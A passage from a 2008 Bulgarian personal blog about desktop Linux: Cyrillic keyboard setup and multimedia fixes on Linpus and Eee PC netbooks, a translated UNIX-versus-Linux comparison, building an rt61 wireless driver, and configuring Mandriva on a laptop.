-интересно по идеята си решение – слотът за SD карта отляво е така конфигуриран, че поставената там карта не се монтира като отделно устройство, а “удължава” наличната памет на SSD – нещо от което бързо се възползувах, купувайки една 8 GB карта.

Минуси :
-освен за mp3, липсва поддръжка на останалите мултимедийни формати, да не говорим за видеото (наследство от Fedora);
-наличното приложение за мултимедия не е най-рационалното решение;
-липсва кирилизация на клавиатурата (е... поне е щампована на клавишите);
-няма Skype.

Добрата новина е, че Fedora 8 (покрай нея и Linpus) все още се поддържат от Rpm Fusion (репозитория, който обедини Livna, DAG...) и можете да си добавите липсващите елементи.
Първо искам да кажа – при включването на нетбука за първи път е крайно наложително да си ъпдейтнете системата – става малко бавно, но това ще ви реши половината от проблема за кирилизацията. Rpm Fusion си добавете едва след това, защото от там ще си свалим само това което ни е необходимо – все пак не искаме да разгоним фамилията тотално на Linpus-а.
Сега за кирилицата... познатия начин чрез добавянето на няколко реда в /etc/X11/xorg.conf. Мислех да не го пиша тук, това е нещо дето трябва да сте го научили, щом искате да работите с Linux, ама хайде :

Section "InputDevice"
...
Option "XkbLayout" "us(euro),bg"
Option "XkbVariant" ",bds" # за феновете на фонетиката ",phonetic"
Option "XkbOptions" "grp:alt_shift_toggle"
...
EndSection

След рестартиране – voila – имате си кирилица и превключване с USA чрез alt + shift и промяна на флагчето на scim в трея (може би най-пълния документ за кирилизирането на Linux е този на Валентин Стойков - тук).
Оправянето на въпроса с mplayer се оказа малко по-завързано, но не чак толкова. По-опитните веднага ще се хванат (и аз така) в терминал (alt+F2 → xterm) си стартирате
yum upgrade mplayer

но... получавате грешка – липсват два пакета: някакви библиотеки на pulse audio и libdvdnav... Просто в Linpus са решили, че от пулс аудио няма нужда в един нетбук (много правилно решение, мисля). Тук следва почесване по главата... не ми се добавя главното хранилище на Fedora, за да си го инсталирам чрез yum, защото имам лошите съмнения, че ще последва лавина от зависимости и ще трябва да обновя половината програми... Един Господ знае дали нещо ще работи след това. Реших да пробвам да си инсталирам “на ръка” липсващите пакети (оказа се че са 3) и ако стане, стане, ако не щях да го мисля в последствие. Взе че стана. Тук ще дам линкове към пакетите от rpmfind.net за да не ги търсите:
pulseaudio-libs-0.9.8-5.fc8.i386.rpm
libdvdnav-4.1.2-2.fc8.i386.rpm
libdvdread-0.9.7-4.fc8.i386.rpm

Инсталирате си ги и трите чрез rpm -ivh и чак след това ъпгрейдвате mplayer.
Добре би било, да си инсталирате и някакъв графичен фронтенд за него, аз лично предпочитам smplayer – yum install smplayer ... за да можете лесно да правите всевъзможните настройки, вместо да пишете в конзола.
От сайта на Acer Aspire One можете да си свалите инсталационни скриптове на много приложения (най-вече Skype), добре би било да разгледате какво има там. Освен Skype лично аз съм побвал само скрипта за bluetooth за да мога да използувам външен адаптор, ама нещо не сработи. Не съм имал досега време да се ровя защо.
Надявам се тези няколко бележки да помогнат на желаещите в укротяването на непослушния Linpus Linux... Успех !

Различията между UNIX и Linux

2008-09-30T20:12:00.007+03:00

Статията която предоставям на вниманието на любоопитните, отбили се тук е превод на материал написан от David Dougall. Далеч съм от претенците за перфектност, но искрено се надявам тя да е полезно и увлекателно четиво.

-------------------------------------------------------------------------

В настоящата статия се описват приликите и разликите между ОС UNIX® и Linux®. Мнозина считат, че Linux е UNIX-подобна операционна система, което не е точно така. Linux е ОС с отворен изходен код, в която са реализирани някои идеи и принципи присъщи на UNIX, но тя не е стопроцентов UNIX, както например Solaris, AIX®, HP-UX и др. Тази статия обхваща накратко различията между тях, от техническите – като поддръжката на ядрото и файловата система, до конкретни програми, достъпността им и методи за администриране.

Въведение

Историята на UNIX® започва през 1969 г. Повечето съвременни UNIX-системи са комерсиални и по същество версии на изходният код на UNIX. Solaris от Sun, HP-UX Hewlett-Packard, AIX® от IBM са най-добрите представители на UNIX, които, освен това имат свои уникални елементи и фундаментални решения. Например, Sun Solaris - е UNIX, но, освен това тя съдържа много инструменти и разширения, разработени специално с оглед работни станции и сървъри, произведени от Sun.
Linux® започва като опит да се създаде безплатна алтернатива на комерсиалните UNIX-среди. Началото му е в 1991,може да се каже дори през 1983 г., когато е създаден проекта GNU, чиято основополагаща идея е да се предостави безплатна алтернатива на UNIX. Linux работи на голямо количество платформи, например Intel®/AMD x86, PowerPC, докато повечето ОС UNIX са способни да работят само на една платформа.
Linux и UNIX имат общи корени, но имат и сериозни различия. Много от инструментите, програмите и безплатните приложения, стандартни за Linux, първоначално са замислени като безплатна алтернатива на програми от UNIX. Linux често предоставя поддръжка на опции и приложения, заимствайки ной-доброто или най-популярната функционалност от UNIX.
За администратори или програмисти, свикнали да работят с Linux, UNIX – системата може да се стори не много удобна за използуване. От друга страна, основата на UNIX-подобната ОС (инструменти, файлова система, API интерфейс) са достатъчно стандартизирани. Все пак някои детайли на системите могат да бъдат много различни. По нататък в статията ще бъдат разгледани някои от тези различия.

Технически различия

Разработчиците на комерсиалните дистрибуции на UNIX разчитат на определен кръг клиенти и сървърна платформа за операционната си система. За тях е много добре изяснено, каква точно поддръжка и оптимизацията на какви точно приложения е необходимо да бъдат осигурени. Производителите на UNIX правят всичко възможно за обезпечаване на съвместимост между различните версии. Освен това, имат подробно описани стандарти за своите ОС.
Разработката на GNU/Linux, от друга страна, не е ориентирана към конкретна платформа, клиентите и разработчиците му имат различен опит и възгледи, понякога силно различаващи се... В Linux-общността не съществуват стандартизиран набор от инструменти и среди. За да се преодолее това беше започнат проекта Linux Standards Base (LSB), но той не даде резултатите, които се очакваха. Поне досега...
Тази непълна стандартизация води до доста разминавания вътре, в самия Linux. За някои разработчици да се използуват най-добрите постижения на другите ОС e предимство, но не винаги е удобно да се копират такива UNIX елементи, като имена на устройствата взети, примерно от AIX, и инструменти за работа с файловата система от HP-UX. Несъвместимости от този род са чести и сред самите Linux дистрибуции. Например Gentoo и RedHat прилагат съвсем различни методи за обновления.
За сравнение – всяка нова версия на UNIX-системата излиза с много добре документирано описание на новите особености и изменения. Командите, инструментите и другите елементи рядко се променят, и често едни и същи аргументи на командния ред за приложенията остават непроменени в продължение на много версии. Когато се случват значителни изменения в тези елементи, разработчиците на комерсиалните UNIX-и често предоставят обвивка, необходима за обезпечаване на съвместимост с по-ранните версии на съответния инструмент.
Подобна съвместимост означава, че дадено приложение може да се използува в новите UNIX версии без проверка и изменения в кода на самата програма. Ето защо преходът към нова версия на UNIX, в която няма принципни различия от старата, за потребителите и администраторите на системата е свързан с много по-малко усилия, отколкото преходът от една на друга дистрибуция на Linux, понякога дори от една на друга версия на една и съща дистрибуция.

Архитектура на апаратното обезпечаване

Повечето комерсиални версии на UNIX са създадени само за една, или не голямо количество архитектури. HP-UX работи само на платформи PA-RISK и Itanium, Solaris – на SPARC и х86, а AIX е предназначен само за процесори POWER.
Благодарение на тези ограничения, UNIX-производителите могат относително свободно да модифицират кода на програмите специално за съответната архитектурата и да използуват максимално възможностите и преимуществата и. Доколкото много добре познават поддържаните от нея устройства, драйверите работят по-добре и не е необходимо да се отчитат ограниченията на BIOS, характерни за PC.
Linux,от друга страна, исторически е разработван с възможността да поддържа максимална съвместимост. Linux е достъпен за различни архитектури, а количеството на устройствата за вход/изход и всякаква друга периферия, която може да се използува с тази ОС е почти безгранично. Разработчиците не могат предварително да знаят на какво конкретно оборудване ще бъде инсталирана системата, и често, поради тази причина не могат да осигурят най-ефективното му използуване. Пример за това е, да кажем управлението на паметта в Linux. По-рано в Linux се е използувал сегментирания модел на паметта, първоначално разработван за х86 системите. Сега е адаптиран за използуване на страницирана памет, но все още пази някои изисквания към сегментираната памет, което води до проблеми, ако архитектурата не я поддържа [справка].
Това не е проблем за UNIX производителите – там съвсем точно се знае оборудването на което ще работи системата.

Ядрото

Ядрото е сърцевината на операционната система. Изходният код на ядрата на комерсиалните UNIX-и е собственост на разработчиците и не се разпространяват извън пределите на компанията. Напълно противоположна е ситуацията с Linux. Процесът на компилиране и редакция на ядрата и драйверите(модулите) е различен. За Linux и другите операционни системи с отворен код, поправките могат да бъдат пуснати, като изходен код и крайния потребител може да ги инсталира, провери, даже промени. Но тези поправки, обикновено не са толкова старателно проверени, както това би станало в една комерсиална UNIX система. Доколкото няма пълен списък на приложенията и средите, които трябва да се тестват за коректна работа в Linux, разработчиците зависят от крайните потребители и други разработчици, които биха поправили евентуална грешка.
Разработчиците на комерсиалните UNIX-и разпространяват ядрата само като изпълним код. Някои версии са монолитни, при други има възможност да се обновят само определени модули. Но винаги всичко се представя само като изпълним(двоичен) код. Ако е необходимо обновяване, администратора е длъжен да чака докато производителя разпространи поправка, отново само в двоичен код, но може да бъде спокоен, че това ще стане само след като е извършена много внимателна проверка за обратна съвместимост.
Всички комерсиални UNIX-и в голяма степен са еволюирали до модулни ядра. Драйверите и отделните елементи на ОС са достъпни като отделни компоненти и могат да бъдат при необходимост заредени, или извадени от ядрото. Но откритата модулна архитектура на Linux е значително по-гъвкава. От друга страна гъвкавостта и адаптивността означават и постоянно изменение. Изходния код на Linux постоянно се променя, и при желание от страна на разработчиците може да се промени и API. Когато един модул, или драйвер е написан за комерсиален UNIX, той ще бъде в употреба значително по-дълго време от същия за Linux.

Поддръжка на файловата система

Една от причините, поради която Linux стана достатъчно мощна ОС е широката съвместимост с останалите операционни системи. Една от най-очевидните особености – това е изобилието на поддържаните и достъпни файлови системи. Повечето комерсиални UNIX -и поддържат два, или три типа файлови системи. Linux, от своя страна поддържа повечето от съществуващите днес такива. В таблицата по-долу са показани какви файлови системи се поддържат от UNIX. Всяка от тях може да бъде монтирана в Linux, въпреки че не всички от тях се поддържат в пълния обем четене/запис на данни.

AIX - jfs, gpfs
HP-UX - hfs, vxfs
Solaris - ufs, zfs
Irix - xfs

Повечето от комерсиалните версии на UNIX поддържат журнални файлови системи. Например, HP-UX като стандартна файлова система използува hfs, но също така поддържа и журналната vxfs. Solaris поддържа ufs и zfs. Журналната файлова система е важен компонент на всяка сървърна среда за едно предприятие. В Linux поддръжката на такива файлови системи беше реализирана по-късно, но затова пък вече има няколко варианта – от клонове на комерсиалните системи (xfs, jfs) до специфичните за самия него (ext3, reiserfs).
Други особености на файловите системи са поддръжката на квоти, контрол на достъпа до файловете, огледално копиране, снимки на системата и динамични размери. В една, или друга форма всички те се поддържат от файловите системи на Linux. Някои на една, други изискват друга система, трети са просто недостъпни при определени условия, или изискват инсталиране на допълнителни инструменти, например определена версия на LVM или поддръжка на дискови масиви (software raid package). Исторически така се е получило, че в Linux съвместимостта на програмните интерфейси и стандартните инструменти се постига с труд, затова многото файлови системи постигат тези особености по различен начин.
Доколкото комерсиалните UNIX-и поддържат ограничено количество файлови системи, инструментите и методите им за работа с тях са стандартизирани в много голяма степен. Например, тъй като в Irix се поддържа само една главна файлова система, то има само един начин за задаване на контрол на достъпа. Това е значително по-удобно за крайния потребител и по-нататъшната поддръжка на тази ОС.

Достъпност на приложенията

Повечето основни приложения са еднакви в UNIX и Linux. Например командите cp, ls, vi и cc – те са много близки, дори и да не са напълно идентични. Версиите за Linux на тези инструменти са основани на GNU-версиите им, докато тези за UNIX са основани на традиционните такива. Те имат продължителна история и рядко са се променяли.
Всичко това не означава, че комерсиалните дистрибуции не могат да използуват GNU-инструменти. На практика много производители на комерсиални UNIX ОС ги включват, или ги предлагат като безплатно допълнение.
GNU-инструментите не са само стандартни средства, някои от тези безплатни приложения нямат комерсиални аналози (emacs или Perl). Повечето производители инсталират по подразбиране тези инструменти, или те са достъпни като допълнителни компоненти.
Безплатните приложения с открит изходен код почти винаги се вграждат във всички Linux дистрибуции. Съществува голямо количество безплатно програмно осигуряване, достъпно за Linux и много от тези приложения са пренесени на комерсиалните версии на UNIX.
Комерсиалните и/или такива със затворен код приложения (CAD, финансови програми, графични редактори) не винаги имат аналози в Linux. Въпреки, че някои производители пускат версии и за Linux, болшинството не бързат да правят това, преди системата да стане достатъчно популярна сред потребителите.
От друга страна, комерсиалните UNIX-и исторически имат поддръжка на голямо количество приложения на равнище предприятия, примерно Oracle или SAP. Linux много губи откъм съществуващата трудност за сертифициране на големите приложения, докато минималните промени от версия до версия в UNIX-ите правят този процес значително по лесен. В Linux може да има много разлики между две дистрибуции, не само – може да има много разлики и между две версии на една и съща дистрибуция. Всичко това води до значителна резервираност от страна на големите производители на ПО спрямо Linux – трудно е да се предвиди в каква точна среда ще работи съответното приложение.

Системно администриране

Въпреки, че някои Linux дистрибуции се разпространяват с набор от инструменти за управление на системата, например YAST на SUSE, не съществува общ за всички стандарт за инструментите за системно администриране. Достъпни са текстови файлове и приложения с команден ред, но понякога използуването им може да бъде неудобно. Всяка комерсиална UNIX система има свой собствен интерфейс за управление на системата. С негова помощ могат да бъдат управлявани и променяни всички елементи. По-надолу е даден пример с Мениджъра за системно администриране [System Administration Manager (SAM)] на HP-UX.
Въпросният SAM съдържа следните модули:
управление на потребители и групи;
управляеми елементи и параметри на ядрото;
настройка на мрежата;
настройка и инициализация на дисковото пространство;
конфигуриране на X-сървъра.

Качеството на този пакет от приложения е много високо, запазвайки много доброто двупосочно взаимодействие с текстовите файлове, намиращи се в сърцевината на всяка настройка на системата в UNIX. Аналог на този инструмент в Linux не съществува. Дори YAST на SUSE не притежава толкова изчистена функционалност.
Още един аспект в UNIX и Linux е доста различен, дори при Linux дистрибуциите се променя с почти всяка версия – разположението на алгоритмите за начална инициализация на системата. За щастие, /sbin/init и /etc/inittab са стандартни каталози. Но последователностите се намират на различни места. В таблицата по-долу са показани местата, където се съхраняват тези последователности за различните Linux-дистрибуции и UNIX-и.

HP-UX - /sbin/init.d
AIX - /etc/rc.d/init.d
Irix - /etc/init.d
Solaris - /etc/init.d
RedHat - /etc/rc.d/init.d
SUSE - /etc/rc.d/init.d
Debian - /etc/init.d
Slackware - /etc/rc.d

Поради наличието на много дистрибуции на Linux и неизброимо количество достъпни за тях приложения (отчитайки и различните версии на едно и също приложение, които се използуват едновременно), управлението им в Linux е доста сложна задача. Изборът на правилния инструмент зависи от това, с каква дистрибуция работите. Други неудобства създава и използуването на различни формати на инсталационните файлове на програмите – два примера - rpm (Redhat Package Manager), deb (в Debian и дериватите му) и пълната несъвместимост между тях. Такова разделение води до появата на огромно количество опции при работата с пакетите и не винаги е ясно каква система е удачно да се използува в конкретна среда.
От друга страна в UNIX има стандартни мениджъри на ПО (пакети). Въпреки, че съществуват различни версии на приложенията и специфични формати за различните версии на UNIX, средата за управлението на приложенията е неизменна. Примерно Solaris използува един и същ такъв инструмент от момента на създаването си. Не само – средствата за идентификация, инсталиране и премахване на програмни пакети в Solaris остават непроменени.
Производителите на комерсиалните UNIX-и доставят, освен това и средства за управление на хардуера, за който е предназначена съответната система, което до голяма степен улеснява внедряването на нови устройства, нещо което е много трудно да се направи в Linux. Примерно, в последните версии на Linux беше направен опит да се осъществи поддръжка на различните компоненти на системата, с възможност за „гореща подмяна на елементи“ (засега с променлив успех). Комерсиалните UNIX-и притежават такава възможност от дълго време. Освен това, пак при тях мониторинга върху апаратните средства е значително по-добър. Производителите могат да напишат драйвери и да ги внедрят в операционната система, от своя страна тя ще осъществи контрол на състоянието – примерно брой на грешките в паметта ECC, параметри на енергопотреблението, и който и да е друг компонент на хардуера. Поддръжка от този род в Linux засега няма, дори повече – тя е въпрос на далечното бъдещето.
Апаратната поддръжка в комерсиалните UNIX-и има, също така и по-усъвършенствувани опции на зареждане. Още преди да се зареди самата ОС, има възможност да се настроят прецизно протичащите при това процеси – да се провери работоспособността на системата, различни опции и режими на стартиращите се устройства. BIOS на стандартното PC има много малка част от тези възможности, или дори изобщо не ги притежава.

Поддръжка

Едно от най-големите различия между Linux и UNIX е в неговата цена. Компаниите разработващи UNIX-системите го продават на много висока цена, при това той може да се използува само с хардуера, продаван от същите компании. Дистрибуциите на Linux от друга страна струват евтино, или са напълно безплатни.
При закупуване на комерсиален UNIX производителите, обикновено предоставят и техническа поддръжка. Болшинството Linux потребители са лишени от такава. Те могат да получат само помощ по електронната поща, по форуми и различни общности на потребители. От друга страна тези групи не са предназначени само за потребителите на Linux. Много администратори на комерсиални UNIX – системи участвуват в тези открити групи за поддръжка, не само оказвайки помощ, но и получавайки такава в определени ситуации. Мнозина намират тази форма на взаимопомощ за по-полезна и ефективна от платената система за поддръжка.

Заключение

Основните неща в UNIX и Linux са много сходни. За потребителите и администраторите преходът от едната на другата система ще бъде съпроводен с някои неудобства, но като цяло би бил безболезнен. Дори при различни файлови системи и ядра, инструментите и API ще останат много сходни. В основни линии, различията няма да бъдат по-големи от тези между различните UNIX-и. Всички клонове на UNIX и дистрибуциите на Linux се развиват все повече и повече и разликите между тях ще стават все по-малко, но заради по-зрялата концепция на UNIX основните положения в ОС няма да се променят много.

За Eee PC, за Linux и изобщо...

2008-09-24T20:30:00.004+03:00

Когато се появи през миналата година, Asus Еее PC 701 не беше принципно нова идея, или нещо кой знае колко невиждано... UMPC (*) от няколко години се предъвкваше от по-големите производителите на хардуер, както и от практическия монополист на пазара на софтуер за десктоп системи – Microsoft... Но поради ред причини, тези джаджи бяха скъпо удоволствие, прекалено скъпо дори... в комбинация със скъпата операционна система и странните изисквания налагани от собственика и към производителите (големина на дисплей, хард и пр.).Някак, това доста стесни въпросния сегмент на пазара на PC до претрупани, безумно скъпи играчки. Съвсем естествено, особено след излизането на мастодонта Vista и упоритостта на Microsoft да я наложи на всяка цена навсякъде, много от тях се насочиха към алтернативно решение и то съвсем естествено беше – Linux. След повече от 15 години много активна разработка, това е вече ОС с много стабилна основа, доказана доста добра поддръжка на разнообразен хардуер и вече с много натрупан софтуер с най-различно приложение. И най-важното – практически безплатна. От друга страна, това освободи ръцете им и за използуването на хардуерни решения, които излизаха извън рамките наложени от споменатия монополист. Първата лястовичка беше именно Eee PC 701 на Asus. Неусетно тя направи няколко неща, които според мен все още не са осъзнати напълно от мнозина. Първо – направи мобилния PC достъпен за много широк кръг потребители – цената му на българския пазар към настоящия момент е около 400-450 лв. Второ – отговори напълно адекватно на нещо, което витаеше в сферата на масовите потребности. За какво използува средно статистическия потребител PC- то си – да сърфира в интернет, да чати, или говори с приятели, да слуша музика и гледа филми. Нищо повече от това. Е... за това не ви е необходим суперкомпютър с ултрамодерен двуядрен процесор, 17 инчов дисплей терабайтови хард-дискове и какво ли още не... Трябва ви нещо съвсем семпло и простичко. В добавка само това - “нещото” би било добре да бъде непрекъснато с вас... Трето – направи Linux достояние на същия този масов потребител, за когото с години друго освен “прозорците” не съществуваше... Не случайно от Microsoft се уплашиха – набързо удължиха живота на XP, тихомълком разрешиха продажбите на PC с него и какво ли не още.
Далеч съм от мисълта, че Linux ще бъде изборът на всички тези, които са си купили мъника. Важното е, че това беше пробивът, който все някак се изплъзваше досега. Само ще цитирам нещо, на което попаднах в някакъв форум - “...А и за чий * си му сложил уиндоус. Оригиналния линукс е перфектен ...”
Далеч съм от мисълта, също, че Eee PC е идеалното решение - той има много недостатъци и недомислени неща (особено по-ранните модели), че избраната дистрибуция (Xandros) е най-добрия избор – не случайно за една година се нароиха 4-5 алтернативни решения, специализирани за него (Eeedora, Ubuntu eee, Mandriva Mini)... Но факт е, че Asus уцелиха десятката с тази линия продукти – за месец август в Amazon моделите 1000 и 901 бяха бестселъри в категорията си. Христоматиен пример, как може да се печели и от Linux...
Като финален щрих ще вметна само това – вече почти не работя на “основния” си ноутбук, освен за неща, които на Eee PC не мога да свърша (много малко, между другото), дори това “миниесе” писах на него...

=================================================

* - UMPC – Ultra-Mobile PC

кирилица, asus eee pc 901

2008-08-08T22:09:00.004+03:00

Сдобивайки се с EEE PC 901 открих с досада, че не е кирилизиран (по-точно казано, клавиатурата си има щампована кирилица, но не можете да пишете на нея). Има много добро ръководство тук, но има една малка подробност - използуваната програма за управление на клавиатурните подредби е друга - gcin. Иначе всичко останало е същото... впрочем, по-опитните потребители би трябвало да го знаят това.
Честно казано окръцкания xandros-ки вариант на KDE за EEE PC направо ме дразни и в най-скоро време ще бъде натирен и заменен с Fedora 9. Има доста добра докуменнтация за инсталирането й - тук

Настройка на wireless карта rt2561

2008-05-06T18:25:00.003+03:00

Така... за да ви проработи както трябва въпросната карта трябва да направите няколко неща.

Първо - премахнете всякакъв наличен модул (драйвер) доставен ви с дистрибуцията - вероятността той да не работи клони към 1.0.

Второ - добавете го към списъка със забранени модули - blacklist, за да не се зарежда при следващо рестартиране.

Трето - свалете от сайта на serialmonkey последната cvs версия за вашата карта.

Четвърто - пак от там си свалете приложението за управление на wireless картата - RutilT - това е малък Gtk аплет, улесняващ настройките в последствие.

Пето - разархивирайте пакета, който сте свалили, отворете терминален прозорец и отидете във въпросната папка, влезте като root, чрез su.

Шесто - компилирайте модула - намира се в директорията Module - make && make install; заредете го - modprobe rt61...

Сега може да проверите имате ли функциониращ wireless интерфейс - ifconfig - тук трябва да се появи в списъка ви - wlan0. Активирайте го - ifconfig wlan0 up (това естествено като root).
Игнорирате аплета за настройка и наблюдение на мражата, доставен ви с дистрибуцията - той просто не работи коректно в нашия случай...
Междувременно би трябвало да сте компилирали и инсталирали програмата RutilT - можете да си я добавите в менюто - internet...
Стартирате я - е... тук мисля да не изпадам в подробности точно как се действа - мисля, че за тези които са стигнали до този момент работата с приложение с ГПИ би била интуитивна. Свързвате се с вашата мрежа и ... почвате да опостушавате WWW...
Неудобно е да се активира на ръка всеки път wlan0, затова може да си направите собствен скрипт за целта, обикновено е удачно той да се запише (или да се постави линк към него) в /etc/rc.local - или както е решен въпроса с потребителските стартиращи скриптове за вашата дистрибуция.
Подробности по отделни моменти от тези действия можете да видите в предишния ми пост тук на тази тема...

лаптопи, линукси, безжични мрежи

2008-05-04T22:06:00.008+03:00

Не съм очаквал, че след няколко години непрекъсваемо използуване на Linux, като основна платформа за десктоп ще се принудя да се завърна към старото бедно XP... Но, човек никога не трябва да се зарича. И така, след известно време блаженство се изправих пред поредния генерален ъпдейт на любимата дистрибуция (Mandriva) и пред тоталната непригодност на наличния софтуер вътре за безпроблемна поддръжка на хардуера съдържащ се в моя лаптоп. И преди съм дялал трески при дистроъпгрейд, но просто този път нямаше равен! Оказа се, че системата забива тотално при активиране на wireless интерфейс. Ако не го използувате, няма проблеми... просто беше трагикомично. Отне ми 2-3 седмици ровене по форуми, къде ли не, за да си изясня съществото на проблема. През това време тествах няколко актуални дистрибуции, за да установя че проблема е един и същи навсякъде, и опира до актуалното ядро 2.6.24.хх...
Всъщност то е първото в което е включена поддръжката на картите с чип ralink, като е използуван код разработка на екипа на serialmonkey . Както се оказва обаче, а и според признанията с половин уста на един от разработчиците "...a little buggy...". Само ще кажа не малко, ами много ! Практически, както в моя случай картата ви се оказва неизползваема.
Проблемът се оказа комплексен, поради причина - мрежовия аплет на популярните десктоп среди не поддържа в общия случай криптирани мрежи... с две изключения - Ubuntu и Mandriva, но явно това не е избегнато в новите им версии.
Изпитах силна досада и разочарование... Познатите ми ме убеждаваха - стой си на старите стабилни версии, но аз не го направих все пак. Все пак трябва да се върви напред...
Издирванията ми ме доведоха до следния документ, намерен в един унгарски сайт, който по мое мнение най-пълно осветлява същината на проблема. Опит за превод давам тук, като нямам претенции за пълна точност и изчерпателност.
Имам забележки към отделни подробности от дадените решения, но това се оказа правилното решение на проблема.
В близките дни ще публикувам моя вариант за настройка на въпростия интерфейс, надявам се да е полезен все на някой...

Mandriva Linux на лаптоп

2008-02-21T19:16:00.010+02:00

Най-хубавите моменти от живота на човек понякога са свързани с покупката на нещо ново, или получаването на подарък... Какво да се прави, въпреки че малцина ще си признаят, оставаме си цял живот деца... само играчките ни стават по-големи и скъпи.
Така и аз - за рожденния си ден си направих подарък - лаптоп... Тъй като семейната сметка не е безкрайно разтеглива, се бях спрял на бюджетен модел, без много екстри (геймър не съм) и бях много радостен, че въпросната машинка се продаваше и с преинсталиран linux - в случая openSUSE 10.3 (за протокола, става въпрос за Packard Bell).
Дотук добре... Преживях наличието на KDE... винаги можеш да си добавиш любимия десктоп допълнително, но пълната липса на конфигуриране на две от основните компоненти на лаптопа - аудиокартата и wireless-картата ме хвърлиха леко в смут... Силно разочароващо е, подобно отношение на дистрибуторите към преинсталираните продукти... подсказващо меко казано нещо, което бих определил като дилетантщина... Още повече на фона на пространното интервю от миналата пролет на ключови фигури от фирмата (подробности) относно политиката на Packard Bell за България и акцента в нея върху продуктите с отворен код... Както и да е.
OpenSUSE е една от дистрибуциите, които ползувам - на десктопа в къщи е тя, но някак си на лаптопа се изложи (или по-скоро аз ?) защото двете по-горни неща не можах да подкарам. Звук имаше само от вградените високоговорители, а wireless-картата Ralink RT2561/RT61 rev B 802.11g изобщо нямаше и хабер да тръгне... По-точно казано системата намираше картата, намираше мрежата, но упорито отказваше да се върже. Пробвах всички варианти на криптиране, както и без... След около минута размисъл аплета се връщаше в първоначалото си състояние - липса на мрежа.
В крайна сметка бях си купил рутер именно с тази цел - да не се спъваме в кабели в къщи... пък и все ще ми потрябва и извън къщи мрежа...
Във временното си объркване реших да опитам други варианти - минах през Ubuntu и Fedora, но резултатите не бяха много обнадеждаващи... В Ubuntu wireless-а тръгваше, но много други неща не вървяха като хората - управление на натоварването на процесора, яркостта на дисплея и прочие... да не говорим за звука... Препоръчаха ми също и Freespirе, справяща се със и поддържаща, както разправят доста широка гама хардуер и включваща доста проприетарен софтуер, наличието на който в повечето разпространени дистрибуции клони към нулата... Там също резултатът беше обезкуражаващ. И така в крайна сметка достигнах до моето вечно спасение в засукани ситуации, още от първите ми стъпки в необятния свят на Linux - Mandriva.
Опита беше направен с Mandriva-linux free 2008.0, 32-битовия вариант...
Приятната изненада започна още от почти самото начало на инсталационния процес - Mandriva разпозна, че я нахендрям на лаптоп и беше заредено и в последствие инсталирано специално компилирано за целта ядро - kernel-laptop-2.6.22.9 (което при последващите ъпдейти нарастна до подверсия 18).
Лаптопа, както казах в началото не е нещо кой знае какво - процесор Intel Core Duo T2130 работещ на честота 1,86 GHz; 1024 MB RAM; твърд диск 120 GB; DVD RW; вградени LAN и WiFi, аудиокарта тип Intell, 3 USB порта, видео Radeon Xpress 200M, и може би най-ценната част на лаптопа - 15 инчов дисплей поддържащ технологията Diamond View... Може би единственото по-съществено неудовлетворение, което изпитах беше слабата батерия, издържаща в най-добрия случай час и половина. Но това не е чак такава болка за умиране, поне в моя случай.
Инсталационния процес протече стандартно - с избор на основна десктоп среда GNOME. Към стандартния подбор на Mandriva съм добавил следните неща :
- програма за запис на дискове - Brasero;

- аудиоплейър - Audacious;
- видеоплейъри - SMplayer, като фронтенд на MPlayer, също и VLC, който предпочитам за работа с DVD и V4L ;
- към групата програми за мултимедия - Audacity, EasyTag, Avidemux ;
- алтернативен уеб-браузер - Opera ;

- чат, уебкамери и прочие - camorama, aMSN и... естествено Skype (закъде без него !).

Всичко това, естествено след допълването на инсталационните източници, следвайки ръководството от Easyurpmi... Лично аз предпочитам чешкото огледало, специално за пакетите от PLF, тъй като това в Бг на Cointech отвреме на време е недостъпно... (дано не го застигне съдбата на предишното).

В Mandriva има изключително удобен инструмент за настройка на компонентите на PC-то - специално стартирането на мрежата съм указал да става ръчно от аплета на десктопа - предпочитам при стартирането на системата да не се активира директно wireless-а, така мога да избера към коя мрежа да се включа(когато има възможност за избор).
При първия досег с лаптопа бях неприятно изненадан, както споменах по-горе, че звук има само от вградените колонки... На предния панел има 2 жака за слушалки и микрофон - микрофона общо взето работеше, но с много лошо качество. Но включването на слушалките водеше само до изключване на звука от вградените високоговорителчета и... толкова. Ровейки се из форумите, основно за UBUNTU - явно там е натрупан най-много опит в опитомяването на капризните машинки тип лаптоп, открих, че с конкретния чипсет това е масов проблем, но дадените там решения не работеха при мен... Всъщност решението е при зареждане на модула hda-intel към него да се подаде опция указваща точния модел. На wiki-страницата на ALSA има доста варианти, но се оказа че това изобщо не са всички... Около седмица ми костваше, докато случайно попаднах на пост в един френски форум където се даваше пример точно с модел лаптоп като моя - Packard Bell MZ 35 (MZ 36 при мен) и решението беше параметър към модула: snd-hda-intel option model=hp... и звук потече и от слушалките... (на Mandriva, в openSUSE резултат нямаше). Е, щастието не беше пълно, защото при работа със Skype звука се оказа, че се държи много нестабилно и цялата аудиосистема забива на моменти... Но в крайна сметка вързах към лаптопа външна USB-аудиокарта и всичко си дойде на мястото. Друг дразнещ момент в Mandriva се оказа, че bluetooth подсистемата на GNOME не работи коректно и се налага да се работи с пакетите за KDE(успокоението е поне, че не си инсталирате покрай тях 3/4 от самото KDE).
Радващ момент е, че suspend to disk си работи напълно нормално и ако много държите да го ползувате ви възстановява обкръжението точно така, както сте го оставили... (лично аз не ползувам тези възможности).
По принцип има възможност да си инсталирате проприетарния драйвер за видеокартата на ATI, но имайки предвид това, което е, също и нежеланието ми да ползувам всички тези модерни бутафории за десктопа, събрани напоследък около проекта compiz, както и това, че нямам намерение да играя 3D игри, напълно ме задоволява свободния такъв.
Накратко това изчерпва конфигурирането по същество на лаптопа... Предполагам, че винаги може още, но на мен резултатът ми хареса.
Като допълнение по темата "радост за окото" използувах елементи от проекта Mac4Lin за да добие десктопа част от външния вид на тази перфектна OS (уви много скъпа за мен). Лентите и менюто оставих да си имат характерния GNOME-вид, но използувах темата за metacity, показалеца и иконите... Резултатът мисля си струваше усилията.
Какво бих казал в заключение ? Изключително много ме радва факта, че вече и на нашия пазар започнаха (плахо засега) да се прокрадват продукти с преинсталиран свободен софтуер. Бих изказал само искрено желание той да бъде предоставян на потребителя в най-добрия му вид, добре инсталиран и конфигуриран, за да се убедят и най-предубедените в истинските му качества... Това е бъдещето !

ако ОС, бяха ядене...

2008-01-06T11:02:00.000+02:00

Още ме държи новогодишното настроение, та хайде малко несериозно да го дам...
Занимаваме се с операционните системи толкова често, колкото с яденето - в известен смисъл и едното и другото е "за вътрешна употреба", както казал Жванецкий. Не е лишено от смисъл сравнението, нали ?

Windows
